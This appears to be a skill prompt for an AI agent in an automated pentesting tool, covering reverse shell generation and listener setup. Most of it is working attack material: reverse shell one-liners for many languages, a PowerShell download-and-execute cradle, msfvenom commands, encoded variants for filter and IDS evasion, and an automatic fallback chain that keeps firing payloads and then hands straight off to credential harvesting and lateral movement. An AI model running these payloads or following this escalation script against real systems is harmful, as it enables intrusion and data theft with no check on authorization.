| name | reverse-shell |
| description | Reverse shell generation and listener management. Generates platform-specific reverse shell payloads (bash, python, php, powershell, java, ruby, perl, netcat, socat, msfvenom) and sets up listeners in the Kali container.
Supports one-liner generation, encoded payloads for WAF/filter bypass, listener setup with session capture, and shell stabilization. Chains from /pentester, /metasploit, or /post-exploit when command execution is confirmed.
|
| argument-hint | <target-ip> <target-port> [lhost=ATTACKER_IP] [lport=4444] [type=bash|python|php|powershell|nc|msfvenom] [encode=base64|url] |
| user-invocable | true |
Reverse Shell Generation & Listener Management
You are an expert penetration tester setting up reverse shell infrastructure. Your goal: generate the right payload for the target platform, set up a reliable listener, and stabilize the shell for interactive use.
Request: $ARGUMENTS
Tools Available
| Tool | Use for |
|---|
kali(command=...) | Kali tools: ncat, socat, msfvenom, openssl, base64, python3 |
start_metasploit | Meterpreter multi/handler listener โ session(action="start_metasploit") |
run_metasploit | Meterpreter handler โ scan(tool="metasploit", ...) |
report(action="note", data={...}) | Write reasoning notes to session log |
CHAIN COMMITMENTS โ DECLARE BEFORE STARTING
Read this before generating any payload. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? |
|---|
| Shell / Meterpreter session obtained | /post-exploit | MANDATORY |
You are also chained INTO from a confirmed RCE (/post-exploit opens a hard
reverse-shell gate). When you arrive with a command-execution primitive but no
session, your job is to OBTAIN one โ turn one-shot exec into an interactive/persistent
shell.
LHOST resolution โ resolve a REAL callback endpoint BEFORE generating any payload.
You almost never have a routable listener the target can reach directly (your Kali is
NAT'd; the target is remote / inside a cluster). Work this order and STOP at the first that
applies:
- Operator listener โ if
known_assets.attacker_host is set (operator exported
SMITH_LHOST=host[:port]), use that lhost/lport: start the listener (nc / msf
multi/handler) and fire the payload.
- OOB collaborator (the default for remote / egress-restricted targets) โ
session(action='oob_start') โ session(action='oob_mint') to mint a PUBLIC callback host,
then fire a beacon FROM the RCE sink (wget http://<sub>/, curl, or a DNS lookup of
<sub>) to PROVE egress + code-exec, and session(action='oob_poll') for the hit. Firing
that beacon is real reverse-shell work (a tool call under THIS skill), which is what
discharges the post_exploit_rce gate โ and the callback is your evidence of impact. You do
NOT need a full interactive shell if you can prove the target reaches your collaborator.
- No egress at all โ if even the OOB beacon returns no callback, the interactive shell is
a DEAD-END: file a dismissed
escalation_lead on the RCE finding (e.g. "RCE proven via
; interactive reverse shell unreachable โ no routable listener and no outbound egress;
a shell would enable persistent interactive access / pivoting") AND
session(action='wishlist_add', options={need:'public reverse-shell listener (VPS/tunnel) + confirm target egress', category:'environment'}). That discharges the gate honestly.
NEVER run msfvenom / a one-liner with a placeholder LHOST (attacker.example.com,
ATTACKER, LHOST, YOUR_IP) โ it validate-fails or calls back nowhere and burns a turn.
NEVER silently switch skills leaving the shell objective neither proven nor documented.
Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md โ do not hard-code client-specific syntax here.
You WILL invoke /post-exploit the moment a reverse shell connects. Do not spend time manually enumerating โ hand off immediately.
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) โ this writes the SKILL_CHAIN entry to pentest.log.
Reverse Shell Payload Reference
Linux Payloads
Bash (most common):
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
Bash โ exec variant (avoids /dev/tcp on some distros):
0<&196;exec 196<>/dev/tcp/LHOST/LPORT; bash <&196 >&196 2>&196
Python:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
Python (short):
python3 -c 'import os;os.system("bash -i >& /dev/tcp/LHOST/LPORT 0>&1")'
Perl:
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
Ruby:
ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
PHP:
php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'
Netcat (traditional):
nc -e /bin/bash LHOST LPORT
Netcat (no -e โ OpenBSD variant):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT >/tmp/f
Socat:
socat TCP:LHOST:LPORT EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
Awk:
awk 'BEGIN {s="/inet/tcp/0/LHOST/LPORT"; while(42){printf "> " |& s; s |& getline c; if(c){while((c |& getline) > 0) print $0 |& s; close(c)}}}' /dev/null
Windows Payloads
PowerShell:
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"
PowerShell (base64 encoded for evasion):
kali(command="echo 'POWERSHELL_PAYLOAD' | iconv -t UTF-16LE | base64 -w0")
# Then: powershell -enc BASE64_STRING
PowerShell (download and execute):
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')"
Additional Language Payloads
Golang (compile and run on target):
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","LHOST:LPORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go
Lua:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('LHOST','LPORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Node.js:
node -e '(function(){var c=require("child_process").spawn("/bin/sh",[]);var n=require("net").connect(LPORT,"LHOST",function(){n.pipe(c.stdin);c.stdout.pipe(n);c.stderr.pipe(n)});})()'
Java (Runtime.exec):
Runtime r = Runtime.getRuntime(); Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'");
Groovy:
String host="LHOST";int port=LPORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break}catch(Exception e){}};p.destroy();s.close()
Telnet (requires two listeners):
# Attacker: nc -lvp 8080 AND nc -lvp 8081
telnet LHOST 8080 | /bin/sh | telnet LHOST 8081
OpenSSL (encrypted โ evades IDS):
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect LHOST:LPORT > /tmp/s; rm /tmp/s
Bash UDP (when TCP is blocked):
sh -i >& /dev/udp/LHOST/LPORT 0>&1
# Listener: nc -u -lvp LPORT
Encoded Payloads (WAF/filter bypass)
Base64 encoded bash:
echo 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' | base64
# Then: echo BASE64 | base64 -d | bash
URL encoded (for injection into URL parameters):
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FLHOST%2FLPORT%200%3E%261
Hex encoded:
echo 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' | xxd -p | tr -d '\n'
# Then: echo HEX | xxd -r -p | bash
msfvenom Payloads
Generate with msfvenom in Kali or Metasploit container:
| Target | Command |
|---|
| Linux ELF | msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell |
| Linux Python | msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw |
| Windows EXE | msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe |
| Windows PS1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f psh -o shell.ps1 |
| PHP | msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw -o shell.php |
| JSP | msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.jsp |
| WAR | msfvenom -p java/shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war |
| ASP | msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f asp -o shell.asp |
Listener Setup
Simple ncat listener (single catch)
kali(command="ncat -lvnp LPORT", timeout=60000)
Background listener with output capture
kali(command="ncat -lvnp LPORT > /tmp/shell-output.txt 2>&1 &")
# Run exploit...
kali(command="cat /tmp/shell-output.txt")
Socat listener (auto-TTY)
kali(command="socat TCP-LISTEN:LPORT,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane", timeout=60000)
Socat one-shot with timeout
kali(command="timeout 30 socat TCP-LISTEN:LPORT,reuseaddr STDOUT")
Meterpreter multi/handler (best for persistent sessions)
scan(tool="metasploit", target="TARGET", options={
"module": "exploit/multi/handler",
"payload": "linux/x64/shell_reverse_tcp",
"lhost": "KALI_IP",
"lport": "4444",
"extra": "set ExitOnSession false"
})
Encrypted listener (evade IDS)
# Generate cert
kali(command="openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 1 -nodes -subj '/CN=localhost'")
# Listener
kali(command="socat OPENSSL-LISTEN:LPORT,cert=/tmp/cert.pem,key=/tmp/key.pem,verify=0,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid")
# Target payload
socat OPENSSL:LHOST:LPORT,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
Shell Stabilization
After catching a reverse shell, stabilize it for interactive use:
Python TTY upgrade:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm
Script TTY upgrade (if python unavailable):
script -qc /bin/bash /dev/null
# Ctrl+Z to background
stty raw -echo; fg
Socat TTY upgrade (best โ full terminal):
# On attacker (listener with TTY):
socat file:`tty`,raw,echo=0 TCP-LISTEN:LPORT
# On target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT
Workflow
When invoked standalone
- Call
report(action="note", data={...}) โ record target OS, available access, injection point
- Probe available interpreters on the target (if you have command execution):
which bash python3 python perl ruby nc ncat socat lua node php 2>/dev/null
- Set up listener in Kali container (keep it running for the full fallback chain)
- Select the first payload from the fallback chain below and deliver it
- If no callback within 10 seconds โ try the next payload in the chain
- Repeat until a shell connects or all payloads are exhausted
- Stabilize the shell
Fallback Chain โ Linux
If a payload fails (no callback), try the next one automatically. Do NOT stop after one failure.
| Priority | Payload | Why it might fail |
|---|
| 1 | bash -i >& /dev/tcp/LHOST/LPORT 0>&1 | /dev/tcp not compiled in (Debian/Ubuntu default) |
| 2 | python3 -c 'import socket,os,pty;...' | python3 not installed |
| 3 | python -c 'import socket,os,pty;...' | python2 only on older systems |
| 4 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f | nc not installed |
| 5 | perl -e 'use Socket;...' | perl not installed |
| 6 | php -r '$sock=fsockopen("LHOST",LPORT);...' | php not installed |
| 7 | ruby -rsocket -e '...' | ruby not installed |
| 8 | lua -e "require('socket');..." | lua not installed |
| 9 | openssl s_client -quiet -connect LHOST:LPORT (with mkfifo) | openssl not installed |
| 10 | sh -i >& /dev/udp/LHOST/LPORT 0>&1 (UDP) | UDP listener needed |
| 11 | msfvenom ELF binary (wget + chmod + execute) | wget/curl needed for download |
How to implement the fallback:
# Set up ONE listener (keep it running)
kali(command="ncat -lvnp 4444 > /tmp/shell-output.txt 2>&1 &")
# Try bash first
kali(command="python3 /tmp/exploit.py TARGET 'bash -i >& /dev/tcp/LHOST/4444 0>&1'")
kali(command="sleep 5 && cat /tmp/shell-output.txt | head -5") # check for callback
# No callback? Try python
kali(command="python3 /tmp/exploit.py TARGET 'python3 -c \"import socket,os,pty;s=socket.socket();s.connect((\\\"LHOST\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/bash\\\")\"'")
kali(command="sleep 5 && cat /tmp/shell-output.txt | head -5") # check again
# Continue down the chain...
Call report(action="note", data={...}) after each attempt recording which payload was tried and the result.
Fallback Chain โ Windows
| Priority | Payload | Why it might fail |
|---|
| 1 | PowerShell reverse shell | Execution policy, AppLocker, AMSI |
| 2 | PowerShell base64 encoded (-enc) | Bypasses basic string detection |
| 3 | PowerShell download cradle (IEX(...)) | Network restrictions |
| 4 | msfvenom EXE (certutil download) | AV detection |
| 5 | msfvenom PS1 (AMSI bypass + exec) | Stricter AV/EDR |
When chained from another skill
The calling skill provides:
- Target IP and port where command execution was achieved
- How command execution works (SQLi OS shell, RCE exploit, file upload, etc.)
- Target OS (Linux/Windows)
Set up the listener, run the fallback chain until a shell connects, then return control to the calling skill.
Payload Selection Decision Tree
Target OS?
โโโ Linux
โ โโโ bash available? โ Bash TCP (or UDP if TCP blocked)
โ โโโ python3 available? โ Python reverse shell
โ โโโ perl available? โ Perl reverse shell
โ โโโ ruby available? โ Ruby reverse shell
โ โโโ nc available?
โ โ โโโ nc -e works? โ nc -e /bin/bash
โ โ โโโ no -e? โ mkfifo + nc pipe
โ โโโ socat available? โ Socat PTY reverse shell (best quality)
โ โโโ lua available? โ Lua socket reverse shell
โ โโโ golang available? โ Go compile-and-run
โ โโโ openssl available? โ OpenSSL encrypted shell (evades IDS)
โ โโโ telnet available? โ Telnet dual-listener method
โ โโโ none of above? โ msfvenom ELF binary (download + execute)
โ
โโโ Windows
โ โโโ PowerShell? โ PS reverse shell (or base64 encoded for evasion)
โ โโโ cmd only? โ msfvenom EXE (download + execute)
โ โโโ web shell? โ msfvenom ASPX
โ
โโโ Web application
โ โโโ PHP? โ PHP fsockopen reverse shell
โ โโโ JSP/Java? โ JSP shell or WAR upload
โ โโโ Python (Flask)? โ Python reverse shell
โ โโโ Node.js? โ child_process reverse shell
โ โโโ Groovy (Jenkins)? โ Groovy ProcessBuilder shell
โ
โโโ Restricted environment
โโโ TCP blocked? โ Bash UDP or DNS tunnel
โโโ IDS present? โ OpenSSL encrypted or TLS-PSK
โโโ Special chars filtered? โ Base64 or hex encoded payload
โโโ No outbound? โ Bind shell instead (nc -lvnp PORT -e /bin/bash on target)
Chaining Other Skills
| Skill | When to invoke |
|---|
/post-exploit | Shell obtained โ escalate privileges, harvest credentials |
/lateral-movement | Credentials obtained from shell โ move through network |
/credential-audit | Credentials found โ crack and test |
Rules
- Always set up the listener BEFORE delivering the payload
- Use background listeners (
&) when the calling tool blocks on execution
- Match the payload to the target โ check what interpreters are available before choosing
- Try bash first on Linux โ most reliable and widely available
- Use encoded payloads when special characters are filtered (URL params, SQL injection, etc.)
- Prefer Meterpreter when persistence and session management are needed
- Stabilize the shell immediately after catching โ unstable shells lose sessions
- Document the payload used โ call
report(action="note", data={...}) with the exact command for reproducibility
- Use encrypted channels (socat OPENSSL) when IDS evasion is required
- Never leave listeners running โ clean up background listeners when done